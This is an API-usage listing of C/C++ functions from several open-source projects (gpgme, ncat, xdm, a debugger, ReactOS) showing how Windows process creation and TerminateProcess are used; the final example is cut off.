Exemple #1
0
int
_gpgme_io_spawn (const char *path, char *const argv[], unsigned int flags,
		 struct spawn_fd_item_s *fd_list,
		 void (*atfork) (void *opaque, int reserved),
		 void *atforkvalue, pid_t *r_pid)
{
  SECURITY_ATTRIBUTES sec_attr;
  PROCESS_INFORMATION pi =
    {
      NULL,      /* returns process handle */
      0,         /* returns primary thread handle */
      0,         /* returns pid */
      0          /* returns tid */
    };
  STARTUPINFO si;
  int cr_flags = (CREATE_DEFAULT_ERROR_MODE
                  | GetPriorityClass (GetCurrentProcess ()));
  int i;
  char **args;
  char *arg_string;
  /* FIXME.  */
  int debug_me = 0;
  int tmp_fd;
  char *tmp_name;

  TRACE_BEG1 (DEBUG_SYSIO, "_gpgme_io_spawn", path,
	      "path=%s", path);
  i = 0;
  while (argv[i])
    {
      TRACE_LOG2 ("argv[%2i] = %s", i, argv[i]);
      i++;
    }

  /* We do not inherit any handles by default, and just insert those
     handles we want the child to have afterwards.  But some handle
     values occur on the command line, and we need to move
     stdin/out/err to the right location.  So we use a wrapper program
     which gets the information from a temporary file.  */
  if (_gpgme_mkstemp (&tmp_fd, &tmp_name) < 0)
    {
      TRACE_LOG1 ("_gpgme_mkstemp failed: %s", strerror (errno));
      return TRACE_SYSRES (-1);
    }
  TRACE_LOG1 ("tmp_name = %s", tmp_name);

  args = calloc (2 + i + 1, sizeof (*args));
  args[0] = (char *) _gpgme_get_w32spawn_path ();
  args[1] = tmp_name;
  args[2] = path;
  memcpy (&args[3], &argv[1], i * sizeof (*args));

  memset (&sec_attr, 0, sizeof sec_attr);
  sec_attr.nLength = sizeof sec_attr;
  sec_attr.bInheritHandle = FALSE;
 
  arg_string = build_commandline (args);
  free (args);
  if (!arg_string)
    {
      close (tmp_fd);
      DeleteFile (tmp_name);
      return TRACE_SYSRES (-1);
    }

  memset (&si, 0, sizeof si);
  si.cb = sizeof (si);
  si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  si.wShowWindow = debug_me ? SW_SHOW : SW_HIDE;
  si.hStdInput = INVALID_HANDLE_VALUE;
  si.hStdOutput = INVALID_HANDLE_VALUE;
  si.hStdError = INVALID_HANDLE_VALUE;

  cr_flags |= CREATE_SUSPENDED; 
  cr_flags |= DETACHED_PROCESS;
  if (!CreateProcessA (_gpgme_get_w32spawn_path (),
		       arg_string,
		       &sec_attr,     /* process security attributes */
		       &sec_attr,     /* thread security attributes */
		       FALSE,         /* inherit handles */
		       cr_flags,      /* creation flags */
		       NULL,          /* environment */
		       NULL,          /* use current drive/directory */
		       &si,           /* startup information */
		       &pi))          /* returns process information */
    {
      TRACE_LOG1 ("CreateProcess failed: ec=%d", (int) GetLastError ());
      free (arg_string);
      close (tmp_fd);
      DeleteFile (tmp_name);

      /* FIXME: Should translate the error code.  */
      errno = EIO;
      return TRACE_SYSRES (-1);
    }

  free (arg_string);

  if (flags & IOSPAWN_FLAG_ALLOW_SET_FG)
    _gpgme_allow_set_foreground_window ((pid_t)pi.dwProcessId);

  /* Insert the inherited handles.  */
  for (i = 0; fd_list[i].fd != -1; i++)
    {
      HANDLE hd;

      /* Make it inheritable for the wrapper process.  */
      if (!DuplicateHandle (GetCurrentProcess(), fd_to_handle (fd_list[i].fd),
			    pi.hProcess, &hd, 0, TRUE, DUPLICATE_SAME_ACCESS))
	{
	  TRACE_LOG1 ("DuplicateHandle failed: ec=%d", (int) GetLastError ());
	  TerminateProcess (pi.hProcess, 0);
	  /* Just in case TerminateProcess didn't work, let the
	     process fail on its own.  */
	  ResumeThread (pi.hThread);
	  CloseHandle (pi.hThread);
	  CloseHandle (pi.hProcess);

	  close (tmp_fd);
	  DeleteFile (tmp_name);

	  /* FIXME: Should translate the error code.  */
	  errno = EIO;
	  return TRACE_SYSRES (-1);
        }
      /* Return the child name of this handle.  */
      fd_list[i].peer_name = handle_to_fd (hd);
    }
  
  /* Write the handle translation information to the temporary
     file.  */
  {
    /* Hold roughly MAX_TRANS quadruplets of 64 bit numbers in hex
       notation: "0xFEDCBA9876543210" with an extra white space after
       every quadruplet.  10*(19*4 + 1) - 1 = 769.  This plans ahead
       for a time when a HANDLE is 64 bit.  */
#define BUFFER_MAX 810
    char line[BUFFER_MAX + 1];
    int res;
    int written;
    size_t len;

    if ((flags & IOSPAWN_FLAG_ALLOW_SET_FG))
      strcpy (line, "~1 \n");
    else
      strcpy (line, "\n");
    for (i = 0; fd_list[i].fd != -1; i++)
      {
	/* Strip the newline.  */
	len = strlen (line) - 1;
	
	/* Format is: Local name, stdin/stdout/stderr, peer name, argv idx.  */
	snprintf (&line[len], BUFFER_MAX - len, "0x%x %d 0x%x %d  \n",
		  fd_list[i].fd, fd_list[i].dup_to,
		  fd_list[i].peer_name, fd_list[i].arg_loc);
	/* Rather safe than sorry.  */
	line[BUFFER_MAX - 1] = '\n';
	line[BUFFER_MAX] = '\0';
      }
    len = strlen (line);
    written = 0;
    do
      {
	res = write (tmp_fd, &line[written], len - written);
	if (res > 0)
	  written += res;
      }
    while (res > 0 || (res < 0 && errno == EAGAIN));
  }
  close (tmp_fd);
  /* The temporary file is deleted by the gpgme-w32spawn process
     (hopefully).  */

  TRACE_LOG4 ("CreateProcess ready: hProcess=%p, hThread=%p, "
	      "dwProcessID=%d, dwThreadId=%d",
	      pi.hProcess, pi.hThread, 
	      (int) pi.dwProcessId, (int) pi.dwThreadId);
  
  if (r_pid)
    *r_pid = (pid_t)pi.dwProcessId;

  
  if (ResumeThread (pi.hThread) < 0)
    TRACE_LOG1 ("ResumeThread failed: ec=%d", (int) GetLastError ());
  
  if (!CloseHandle (pi.hThread))
    TRACE_LOG1 ("CloseHandle of thread failed: ec=%d",
		(int) GetLastError ());

  TRACE_LOG1 ("process=%p", pi.hProcess);

  /* We don't need to wait for the process.  */
  if (!CloseHandle (pi.hProcess))
    TRACE_LOG1 ("CloseHandle of process failed: ec=%d",
		(int) GetLastError ());

  if (! (flags & IOSPAWN_FLAG_NOCLOSE))
    {
      for (i = 0; fd_list[i].fd != -1; i++)
	_gpgme_io_close (fd_list[i].fd);
    }

  for (i = 0; fd_list[i].fd != -1; i++)
    if (fd_list[i].dup_to == -1)
      TRACE_LOG3 ("fd[%i] = 0x%x -> 0x%x", i, fd_list[i].fd,
		  fd_list[i].peer_name);
    else
      TRACE_LOG4 ("fd[%i] = 0x%x -> 0x%x (std%s)", i, fd_list[i].fd,
		  fd_list[i].peer_name, (fd_list[i].dup_to == 0) ? "in" :
		  ((fd_list[i].dup_to == 1) ? "out" : "err"));

  return TRACE_SYSRES (0);
}
Exemple #2
0
int wm_exec(char *command, char **output, int *status, int secs) {
    HANDLE hThread;
    DWORD dwCreationFlags;
    STARTUPINFO sinfo = { 0 };
    PROCESS_INFORMATION pinfo = { 0 };
    ThreadInfo tinfo = { 0 };
    int retval = 0;

    sinfo.cb = sizeof(STARTUPINFO);
    sinfo.dwFlags = STARTF_USESTDHANDLES;

    // Create stdout pipe and make it inheritable

    if (!CreatePipe(&tinfo.pipe, &sinfo.hStdOutput, NULL, 0)) {
        merror("%s: ERROR: CreatePipe()", ARGV0);
        return -1;
    }

    sinfo.hStdError = sinfo.hStdOutput;

    if (!SetHandleInformation(sinfo.hStdOutput, HANDLE_FLAG_INHERIT, 1)) {
        merror("%s: ERROR: SetHandleInformation()", ARGV0);
        return -1;
    }

    // Create child process and close inherited pipes

    dwCreationFlags = wm_task_nice < -10 ? HIGH_PRIORITY_CLASS :
                      wm_task_nice < 0 ? ABOVE_NORMAL_PRIORITY_CLASS :
                      wm_task_nice == 0 ? NORMAL_PRIORITY_CLASS :
                      wm_task_nice < 10 ? BELOW_NORMAL_PRIORITY_CLASS :
                      IDLE_PRIORITY_CLASS;

    if (!CreateProcess(NULL, command, NULL, NULL, TRUE, dwCreationFlags, NULL, NULL, &sinfo, &pinfo)) {
        merror("%s: ERROR: CreateProcess(): %ld", ARGV0, GetLastError());
        return -1;
    }

    CloseHandle(sinfo.hStdOutput);

    // Create reading thread

    hThread = CreateThread(NULL, 0, Reader, &tinfo, 0, NULL);

    if (!hThread) {
        merror("%s: ERROR: CreateThread(): %ld", ARGV0, GetLastError());
        return -1;
    }

    // Get output

    switch (WaitForSingleObject(pinfo.hProcess, secs * 1000)) {
    case 0:
        if (status) {
            DWORD exitcode;
            GetExitCodeProcess(pinfo.hProcess, &exitcode);
            *status = exitcode;
        }

        break;

    case WAIT_TIMEOUT:
        TerminateProcess(pinfo.hProcess, 1);
        retval = WM_ERROR_TIMEOUT;
        break;

    default:
        merror("%s: ERROR: WaitForSingleObject()", ARGV0);
        TerminateProcess(pinfo.hProcess, 1);
        retval = -1;
    }

    // Output

    WaitForSingleObject(hThread, INFINITE);

    if (retval >= 0)
        *output = tinfo.output ? tinfo.output : strdup("");
    else
        free(tinfo.output);

    // Cleanup

    CloseHandle(hThread);
    CloseHandle(pinfo.hProcess);
    CloseHandle(pinfo.hThread);

    return retval;
}
Exemple #3
0
void osd_process_kill(void)
{
    TerminateProcess(GetCurrentProcess(), -1);
}
Exemple #4
0
BOOL DebugMainLoop(const DebugOptions *pOptions)
{
    BOOL fFinished = FALSE;
    BOOL fBreakpointSignalled = FALSE;
    BOOL fWowBreakpointSignalled = FALSE;
    BOOL fTerminating = FALSE;

    while(!fFinished)
    {
        DEBUG_EVENT DebugEvent;            // debugging event information
        DWORD dwContinueStatus = DBG_CONTINUE;    // exception continuation
        PPROCESS_INFO pProcessInfo;
        PTHREAD_INFO pThreadInfo;
        HANDLE hProcess;

        // Wait for a debugging event to occur. The second parameter indicates
        // that the function does not return until a debugging event occurs.
        if(!WaitForDebugEvent(&DebugEvent, INFINITE))
        {
            OutputDebug("WaitForDebugEvent: 0x%08lx", GetLastError());

            return FALSE;
        }

        // Process the debugging event code.
        switch (DebugEvent.dwDebugEventCode) {
        case EXCEPTION_DEBUG_EVENT: {
            PEXCEPTION_RECORD pExceptionRecord = &DebugEvent.u.Exception.ExceptionRecord;
            NTSTATUS ExceptionCode = pExceptionRecord->ExceptionCode;

            // Process the exception code. When handling
            // exceptions, remember to set the continuation
            // status parameter (dwContinueStatus). This value
            // is used by the ContinueDebugEvent function.
            if (pOptions->verbose_flag) {
                lprintf("EXCEPTION PID=%lu TID=%lu ExceptionCode=0x%lx dwFirstChance=%lu\r\n",
                        DebugEvent.dwProcessId,
                        DebugEvent.dwThreadId,
                        pExceptionRecord->ExceptionCode,
                        DebugEvent.u.Exception.dwFirstChance
                );
            }

            // Find the process in the process list
            pProcessInfo = &g_Processes[DebugEvent.dwProcessId];

            dwContinueStatus = DBG_EXCEPTION_NOT_HANDLED;

            if (DebugEvent.u.Exception.dwFirstChance) {
                if (pExceptionRecord->ExceptionCode == (DWORD)STATUS_BREAKPOINT) {
                    // Signal the aedebug event
                    if (!fBreakpointSignalled) {
                        fBreakpointSignalled = TRUE;

                        if (pOptions->hEvent) {
                            SetEvent(pOptions->hEvent);
                            CloseHandle(pOptions->hEvent);
                        }

                        if (pOptions->dwThreadId) {
                            DWORD dwThreadId = pOptions->dwThreadId;
                            const DWORD dwFailed = (DWORD)-1;
                            DWORD dwRet = dwFailed;
                            pThreadInfo = &pProcessInfo->Threads[dwThreadId];
                            HANDLE hThread = pThreadInfo->hThread;
                            if (hThread != NULL) {
                                dwRet = ResumeThread(hThread);
                            }
                            if (dwRet == dwFailed) {
                                lprintf("error: failed to resume thread %lu\n", dwThreadId);
                            }
                        }

                        /*
                         * We ignore first-chance breakpoints by default.
                         *
                         * We get one of these whenever we attach to a process.
                         * But in some cases, we never get a second-chance, e.g.,
                         * when we're attached through MSVCRT's abort().
                         */
                        if (!pOptions->breakpoint_flag) {
                            dwContinueStatus = DBG_CONTINUE;
                            break;
                        }
                    }
                }

                if (ExceptionCode == STATUS_WX86_BREAKPOINT) {
                    if (!fWowBreakpointSignalled) {
                        fWowBreakpointSignalled = TRUE;
                        dwContinueStatus = DBG_CONTINUE;
                        break;
                    }
                }

               /*
                 * Ignore thread naming exception.
                 *
                 * http://msdn.microsoft.com/en-us/library/xcb2z8hs.aspx
                 *
                 * TODO: Note down the thread name
                 */
                if (ExceptionCode == 0x406d1388) {
                    dwContinueStatus = DBG_CONTINUE;
                    break;
                }

                if (!pOptions->first_chance) {
                    break;
                }
            }

            // XXX: Deferred symbols don't get loaded without this
            SymRefreshModuleList(pProcessInfo->hProcess);

            dumpException(pProcessInfo->hProcess,
                          &DebugEvent.u.Exception.ExceptionRecord);

            // Find the thread in the thread list
            THREAD_INFO_LIST::const_iterator it;
            for (it = pProcessInfo->Threads.begin(); it != pProcessInfo->Threads.end(); ++it) {
                DWORD dwThreadId = it->first;
                HANDLE hThread = it->second.hThread;
                if (dwThreadId != DebugEvent.dwThreadId &&
                    ExceptionCode != STATUS_BREAKPOINT &&
                    ExceptionCode != STATUS_WX86_BREAKPOINT) {
                        continue;
                }

                dumpStack(pProcessInfo->hProcess, hThread, NULL);
            }

            if (!DebugEvent.u.Exception.dwFirstChance) {
                /*
                 * Terminate the process. As continuing would cause the JIT debugger
                 * to be invoked again.
                 */
                fTerminating = TRUE;
                TerminateProcess(pProcessInfo->hProcess, (UINT)ExceptionCode);
            }

            break;
        }

        case CREATE_THREAD_DEBUG_EVENT:
            if (pOptions->verbose_flag) {
                lprintf("CREATE_THREAD PID=%lu TID=%lu\r\n",
                        DebugEvent.dwProcessId,
                        DebugEvent.dwThreadId
                );
            }

            // Add the thread to the thread list
            pProcessInfo = &g_Processes[DebugEvent.dwProcessId];
            pThreadInfo = &pProcessInfo->Threads[DebugEvent.dwThreadId];
            pThreadInfo->hThread = DebugEvent.u.CreateThread.hThread;
            break;

        case CREATE_PROCESS_DEBUG_EVENT: {
            HANDLE hFile = DebugEvent.u.CreateProcessInfo.hFile;

            char szImageName[MAX_PATH];
            char *lpImageName = NULL;
            if (hFile && GetFileNameFromHandle(hFile, szImageName, _countof(szImageName))) {
                lpImageName = szImageName;
            }

            if (pOptions->verbose_flag) {
                PCSTR lpModuleName = lpImageName ? getBaseName(lpImageName) : "";

                lprintf("CREATE_PROCESS PID=%lu TID=%lu lpBaseOfImage=%p %s\r\n",
                        DebugEvent.dwProcessId,
                        DebugEvent.dwThreadId,
                        DebugEvent.u.CreateProcessInfo.lpBaseOfImage,
                        lpModuleName
                );
            }

            hProcess = DebugEvent.u.CreateProcessInfo.hProcess;

            pProcessInfo = &g_Processes[DebugEvent.dwProcessId];
            pProcessInfo->hProcess = hProcess;

            pThreadInfo = &pProcessInfo->Threads[DebugEvent.dwThreadId];
            pThreadInfo->hThread = DebugEvent.u.CreateProcessInfo.hThread;

            if (!InitializeSym(hProcess, FALSE)) {
                OutputDebug("error: SymInitialize failed: 0x%08lx\n", GetLastError());
                exit(EXIT_FAILURE);
            }

            SymRegisterCallback64(hProcess, &symCallback, 0);

            loadModule(hProcess, hFile, lpImageName, DebugEvent.u.CreateProcessInfo.lpBaseOfImage);

            break;
        }

        case EXIT_THREAD_DEBUG_EVENT:
            if (pOptions->verbose_flag) {
                lprintf("EXIT_THREAD PID=%lu TID=%lu dwExitCode=0x%lx\r\n",
                        DebugEvent.dwProcessId,
                        DebugEvent.dwThreadId,
                        DebugEvent.u.ExitThread.dwExitCode
                );
            }

            // Remove the thread from the thread list
            pProcessInfo = &g_Processes[DebugEvent.dwProcessId];
            hProcess = pProcessInfo->hProcess;

            // Dump the stack on abort()
            if (!fTerminating && isAbnormalExitCode(DebugEvent.u.ExitThread.dwExitCode)) {
                pThreadInfo = &pProcessInfo->Threads[DebugEvent.dwThreadId];
                refreshSymbolsAndDumpStack(hProcess, pThreadInfo->hThread);
            }

            pProcessInfo->Threads.erase(DebugEvent.dwThreadId);
            break;

        case EXIT_PROCESS_DEBUG_EVENT: {
            if (pOptions->verbose_flag) {
                lprintf("EXIT_PROCESS PID=%lu TID=%lu dwExitCode=0x%lx\r\n",
                        DebugEvent.dwProcessId,
                        DebugEvent.dwThreadId,
                        DebugEvent.u.ExitProcess.dwExitCode
                );
            }

            pProcessInfo = &g_Processes[DebugEvent.dwProcessId];
            hProcess = pProcessInfo->hProcess;

            // Dump the stack on abort()
            if (!fTerminating && isAbnormalExitCode(DebugEvent.u.ExitThread.dwExitCode)) {
                pThreadInfo = &pProcessInfo->Threads[DebugEvent.dwThreadId];
                refreshSymbolsAndDumpStack(hProcess, pThreadInfo->hThread);
            }

            // Remove the process from the process list
            g_Processes.erase(DebugEvent.dwProcessId);

            if (!SymCleanup(hProcess)) {
                OutputDebug("SymCleanup failed with 0x%08lx\n", GetLastError());
            }

            if (g_Processes.empty()) {
                fFinished = TRUE;
            }

            break;
        }

        case LOAD_DLL_DEBUG_EVENT: {
            HANDLE hFile = DebugEvent.u.LoadDll.hFile;

            char szImageName[MAX_PATH];
            char *lpImageName = NULL;
            if (hFile && GetFileNameFromHandle(hFile, szImageName, _countof(szImageName))) {
                lpImageName = szImageName;
            }

            if (pOptions->verbose_flag) {
                PCSTR lpModuleName = lpImageName ? getBaseName(lpImageName) : "";

                lprintf("LOAD_DLL PID=%lu TID=%lu lpBaseOfDll=%p %s\r\n",
                        DebugEvent.dwProcessId,
                        DebugEvent.dwThreadId,
                        DebugEvent.u.LoadDll.lpBaseOfDll,
                        lpModuleName
                );
            }

            pProcessInfo = &g_Processes[DebugEvent.dwProcessId];
            hProcess = pProcessInfo->hProcess;

            loadModule(hProcess, hFile, lpImageName, DebugEvent.u.LoadDll.lpBaseOfDll);

            break;
        }

        case UNLOAD_DLL_DEBUG_EVENT:
            if (pOptions->verbose_flag) {
                lprintf("UNLOAD_DLL PID=%lu TID=%lu lpBaseOfDll=%p\r\n",
                        DebugEvent.dwProcessId,
                        DebugEvent.dwThreadId,
                        DebugEvent.u.UnloadDll.lpBaseOfDll
                );
            }

            pProcessInfo = &g_Processes[DebugEvent.dwProcessId];
            hProcess = pProcessInfo->hProcess;

            SymUnloadModule64(hProcess, (UINT_PTR)DebugEvent.u.UnloadDll.lpBaseOfDll);

            break;

        case OUTPUT_DEBUG_STRING_EVENT: {
            if (pOptions->verbose_flag) {
                lprintf("OUTPUT_DEBUG_STRING PID=%lu TID=%lu\r\n",
                        DebugEvent.dwProcessId,
                        DebugEvent.dwThreadId
                );
            }

            pProcessInfo = &g_Processes[DebugEvent.dwProcessId];

            assert(!DebugEvent.u.DebugString.fUnicode);

            LPSTR lpDebugStringData = readProcessString(pProcessInfo->hProcess,
                                                        DebugEvent.u.DebugString.lpDebugStringData,
                                                        DebugEvent.u.DebugString.nDebugStringLength);

            lprintf("%s", lpDebugStringData);

            free(lpDebugStringData);
            break;
        }

        case RIP_EVENT:
            if (pOptions->verbose_flag) {
                lprintf("RIP PID=%lu TID=%lu\r\n",
                        DebugEvent.dwProcessId,
                        DebugEvent.dwThreadId
                );
            }
            break;

        default:
            if (pOptions->verbose_flag) {
                lprintf("EVENT%lu PID=%lu TID=%lu\r\n",
                    DebugEvent.dwDebugEventCode,
                    DebugEvent.dwProcessId,
                    DebugEvent.dwThreadId
                );
            }
            break;
        }

        // Resume executing the thread that reported the debugging event.
        ContinueDebugEvent(
            DebugEvent.dwProcessId,
            DebugEvent.dwThreadId,
            dwContinueStatus
        );
    }

    return TRUE;
}
Exemple #5
0
/* Relay data between a socket and a process until the process dies or stops
   sending or receiving data. The socket descriptor and process pipe handles
   are in the data argument, which must be a pointer to struct subprocess_info.

   This function is a workaround for the fact that we can't just run a process
   after redirecting its input handles to a socket. If the process, for
   example, redirects its own stdin, it somehow confuses the socket and stdout
   stops working. This is exactly what ncat does (as part of the Windows stdin
   workaround), so it can't be ignored.

   This function can be invoked through CreateThread to simulate fork+exec, or
   called directly to simulate exec. It frees the subprocess_info struct and
   closes the socket and pipe handles before returning. Returns the exit code
   of the subprocess. */
static DWORD WINAPI subprocess_thread_func(void *data)
{
    struct subprocess_info *info;
    char pipe_buffer[BUFSIZ];
    OVERLAPPED overlap = { 0 };
    HANDLE events[3];
    DWORD ret, rc;
    int crlf_state = 0;

    info = (struct subprocess_info *) data;

    /* Three events we watch for: socket read, pipe read, and process end. */
    events[0] = (HANDLE) WSACreateEvent();
    WSAEventSelect(info->fdn.fd, events[0], FD_READ | FD_CLOSE);
    events[1] = info->child_out_r;
    events[2] = info->proc;

    /* To avoid blocking or polling, we use asynchronous I/O, or what Microsoft
       calls "overlapped" I/O, on the process pipe. WaitForMultipleObjects
       reports when the read operation is complete. */
    ReadFile(info->child_out_r, pipe_buffer, sizeof(pipe_buffer), NULL, &overlap);

    /* Loop until EOF or error. */
    for (;;) {
        DWORD n_r, n_w;
        int i, n;

        i = WaitForMultipleObjects(3, events, FALSE, INFINITE);
        if (i == WAIT_OBJECT_0) {
            /* Read from socket, write to process. */
            char buffer[BUFSIZ];
            int pending;

            ResetEvent(events[0]);
            do {
                n = ncat_recv(&info->fdn, buffer, sizeof(buffer), &pending);
                if (n <= 0)
                    goto loop_end;
                n_r = n;
                if (WriteFile(info->child_in_w, buffer, n_r, &n_w, NULL) == 0)
                    break;
                if (n_w != n)
                    goto loop_end;
            } while (pending);
        } else if (i == WAIT_OBJECT_0 + 1) {
            char *crlf = NULL, *wbuf;
            /* Read from process, write to socket. */
            if (GetOverlappedResult(info->child_out_r, &overlap, &n_r, FALSE)) {
                wbuf = pipe_buffer;
                if (o.crlf) {
                    n = n_r;
                    if (fix_line_endings((char *) pipe_buffer, &n, &crlf, &crlf_state))
                        wbuf = crlf;
                    n_r = n;
                }
                /* The above call to WSAEventSelect puts the socket in
                   non-blocking mode, but we want this send to block, not
                   potentially return WSAEWOULDBLOCK. We call block_socket, but
                   first we must clear out the select event. */
                WSAEventSelect(info->fdn.fd, events[0], 0);
                block_socket(info->fdn.fd);
                n = ncat_send(&info->fdn, wbuf, n_r);
                if (crlf != NULL)
                    free(crlf);
                if (n != n_r)
                    break;
                /* Restore the select event (and non-block the socket again.) */
                WSAEventSelect(info->fdn.fd, events[0], FD_READ | FD_CLOSE);
                /* Queue another asychronous read. */
                ReadFile(info->child_out_r, pipe_buffer, sizeof(pipe_buffer), NULL, &overlap);
            } else {
                if (GetLastError() != ERROR_IO_PENDING)
                    /* Error or end of file. */
                    break;
            }
        } else if (i == WAIT_OBJECT_0 + 2) {
            /* The child died. There are no more writes left in the pipe
               because WaitForMultipleObjects guarantees events with lower
               indexes are handled first. */
            break;
        } else {
            break;
        }
    }

loop_end:

    WSACloseEvent(events[0]);

    rc = unregister_subprocess(info->proc);
    ncat_assert(rc != -1);

    GetExitCodeProcess(info->proc, &ret);
    if (ret == STILL_ACTIVE) {
        if (o.debug > 1)
            logdebug("Subprocess still running, terminating it.\n");
        rc = TerminateProcess(info->proc, 0);
        if (rc == 0) {
            if (o.debug > 1)
                logdebug("TerminateProcess failed with code %d.\n", rc);
        }
    }
    GetExitCodeProcess(info->proc, &ret);
    if (o.debug > 1)
        logdebug("Subprocess ended with exit code %d.\n", ret);

    shutdown(info->fdn.fd, 2);
    subprocess_info_close(info);
    free(info);

    rc = WaitForSingleObject(pseudo_sigchld_mutex, INFINITE);
    ncat_assert(rc == WAIT_OBJECT_0);
    if (pseudo_sigchld_handler != NULL)
        pseudo_sigchld_handler();
    rc = ReleaseMutex(pseudo_sigchld_mutex);
    ncat_assert(rc != 0);

    return ret;
}
Exemple #6
0
gboolean
cut_win32_kill_process (GPid pid, guint exit_code)
{
    return TerminateProcess(pid, exit_code) ? TRUE : FALSE;
}
Exemple #7
0
void   STDCALL OSCriticalExit()
{
    SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1, 0, 0);
    TerminateProcess(GetCurrentProcess(), INVALID);
}
Exemple #8
0
void Q3Process::kill() const
{
    if ( d->pid )
	TerminateProcess( d->pid->hProcess, 0xf291 );
}
Exemple #9
0
int process_terminate(process_info_t *p) {
  if (!TerminateProcess(p->process, 1))
    return -1;
  return 0;
}
Exemple #10
0
void
WaitForChild (void)
{
    pid_t		pid;
    struct display	*d;
    waitType	status;
#if !defined(X_NOT_POSIX) && !defined(__UNIXOS2__)
    sigset_t mask, omask;
#else
    int		omask;
#endif

#ifdef UNRELIABLE_SIGNALS
    /* XXX classic System V signal race condition here with RescanNotify */
    if ((pid = wait (&status)) != -1)
#else
# ifndef X_NOT_POSIX
    sigemptyset(&mask);
    sigaddset(&mask, SIGCHLD);
    sigaddset(&mask, SIGHUP);
    sigprocmask(SIG_BLOCK, &mask, &omask);
    Debug ("signals blocked\n");
# else
    omask = sigblock (sigmask (SIGCHLD) | sigmask (SIGHUP));
    Debug ("signals blocked, mask was 0x%x\n", omask);
# endif
    if (!ChildReady && !Rescan)
# ifndef X_NOT_POSIX
	sigsuspend(&omask);
# else
	sigpause (omask);
# endif
    ChildReady = 0;
# ifndef X_NOT_POSIX
    sigprocmask(SIG_SETMASK, &omask, (sigset_t *)NULL);
# else
    sigsetmask (omask);
# endif
    while ((pid = waitpid (-1, &status, WNOHANG)) > 0)
#endif
    {
	Debug ("Manager wait returns pid: %d sig %d core %d code %d\n",
	       pid, waitSig(status), waitCore(status), waitCode(status));
	if (autoRescan)
	    RescanIfMod ();
	/* SUPPRESS 560 */
	if ((d = FindDisplayByPid (pid))) {
	    d->pid = -1;
	    switch (waitVal (status)) {
	    case UNMANAGE_DISPLAY:
		Debug ("Display exited with UNMANAGE_DISPLAY\n");
		StopDisplay (d);
		break;
	    case OBEYSESS_DISPLAY:
		d->startTries = 0;
		d->reservTries = 0;
		Debug ("Display exited with OBEYSESS_DISPLAY\n");
		if (d->displayType.lifetime != Permanent ||
		    d->status == zombie)
		    StopDisplay (d);
		else
		    RestartDisplay (d, FALSE);
		break;
	    case OPENFAILED_DISPLAY:
		Debug ("Display exited with OPENFAILED_DISPLAY, try %d of %d\n",
		       d->startTries, d->startAttempts);
		LogError ("Display %s cannot be opened\n", d->name);
		/*
		 * no display connection was ever made, tell the
		 * terminal that the open attempt failed
		 */
#ifdef XDMCP
		if (d->displayType.origin == FromXDMCP)
		    SendFailed (d, "Cannot open display");
#endif
		if (d->displayType.origin == FromXDMCP ||
		    d->status == zombie ||
		    ++d->startTries >= d->startAttempts)
		{
		    LogError ("Display %s is being disabled\n", d->name);
		    StopDisplay (d);
		}
		else
		{
		    RestartDisplay (d, TRUE);
		}
		break;
	    case RESERVER_DISPLAY:
		d->startTries = 0;
		Debug ("Display exited with RESERVER_DISPLAY\n");
		if (d->displayType.origin == FromXDMCP || d->status == zombie)
		    StopDisplay(d);
		else {
		  Time_t now;
		  int crash;

		  time(&now);
		  crash = d->lastReserv &&
		    ((now - d->lastReserv) < XDM_BROKEN_INTERVAL);
		  Debug("time %lli %lli try %i of %i%s\n", 
			(long long)now, (long long)d->lastReserv,
			d->reservTries, d->reservAttempts,
			crash ? " crash" : "");

		  if (!crash)
		    d->reservTries = 0;

		  if (crash && ++d->reservTries >= d->reservAttempts) {
		    const char *msg =
			"Server crash frequency too high: stopping display";
		    Debug("%s %s\n", msg, d->name);
		    LogError("%s %s\n", msg, d->name);
#if !defined(HAVE_ARC4RANDOM) && !defined(DEV_RANDOM)
		    AddTimerEntropy();
#endif
		    /* For a local X server either:
		     * 1. The server exit was returned by waitpid().  So
		     *    serverPid==-1 => StopDisplay() calls RemoveDisplay()
		     *
		     * 2. The server is in zombie state or still running.  So
		     *    serverPid>1 => StopDisplay()
		     *                   a. sets status=zombie,
		     *                   b. kills the server.
		     *    The next waitpid() returns this zombie server pid
		     *    and the 'case zombie:' below then calls
		     *    RemoveDisplay().
		     */
		    StopDisplay(d);
		  } else {
		    RestartDisplay(d, TRUE);
		  }
		  d->lastReserv = now;
		}
		break;
	    case waitCompose (SIGTERM,0,0):
		Debug ("Display exited on SIGTERM, try %d of %d\n",
			d->startTries, d->startAttempts);
		if (d->displayType.origin == FromXDMCP ||
		    d->status == zombie ||
		    ++d->startTries >= d->startAttempts)
		{
		    /*
		     * During normal xdm shutdown, killed local X servers
		     * can be zombies; this is not an error.
		     */
		    if (d->status == zombie &&
			(d->startTries < d->startAttempts))
			LogInfo ("display %s is being disabled\n", d->name);
		    else
			LogError ("display %s is being disabled\n", d->name);
		    StopDisplay(d);
		} else
		    RestartDisplay (d, TRUE);
		break;
	    case REMANAGE_DISPLAY:
		d->startTries = 0;
		Debug ("Display exited with REMANAGE_DISPLAY\n");
		/*
		 * XDMCP will restart the session if the display
		 * requests it
		 */
		if (d->displayType.origin == FromXDMCP || d->status == zombie)
		    StopDisplay(d);
		else
		    RestartDisplay (d, FALSE);
		break;
	    default:
		Debug ("Display exited with unknown status %d\n", waitVal(status));
		LogError ("Unknown session exit code %d from process %d\n",
			  waitVal (status), pid);
		StopDisplay (d);
		break;
	    }
	}
	/* SUPPRESS 560 */
	else if ((d = FindDisplayByServerPid (pid)))
	{
	    d->serverPid = -1;
	    switch (d->status)
	    {
	    case zombie:
		Debug ("Zombie server reaped, removing display %s\n", d->name);
		RemoveDisplay (d);
		break;
	    case phoenix:
		Debug ("Phoenix server arises, restarting display %s\n", d->name);
		d->status = notRunning;
		break;
	    case running:
		Debug ("Server for display %s terminated unexpectedly, status %d %d\n", d->name, waitVal (status), status);
		LogError ("Server for display %s terminated unexpectedly: %d\n", d->name, waitVal (status));
		if (d->pid != -1)
		{
		    Debug ("Terminating session pid %d\n", d->pid);
		    TerminateProcess (d->pid, SIGTERM);
		}
		break;
	    case notRunning:
		Debug ("Server exited for notRunning session on display %s\n", d->name);
		break;
	    }
	}
	else
	{
	    Debug ("Unknown child termination, status %d\n", waitVal (status));
	}
    }
    StartDisplays ();
}
Exemple #11
0
INT_PTR CALLBACK
ScreenSaverPageProc(HWND hwndDlg,
                    UINT uMsg,
                    WPARAM wParam,
                    LPARAM lParam)
{
    PDATA pData;

    pData = (PDATA)GetWindowLongPtr(hwndDlg, DWLP_USER);

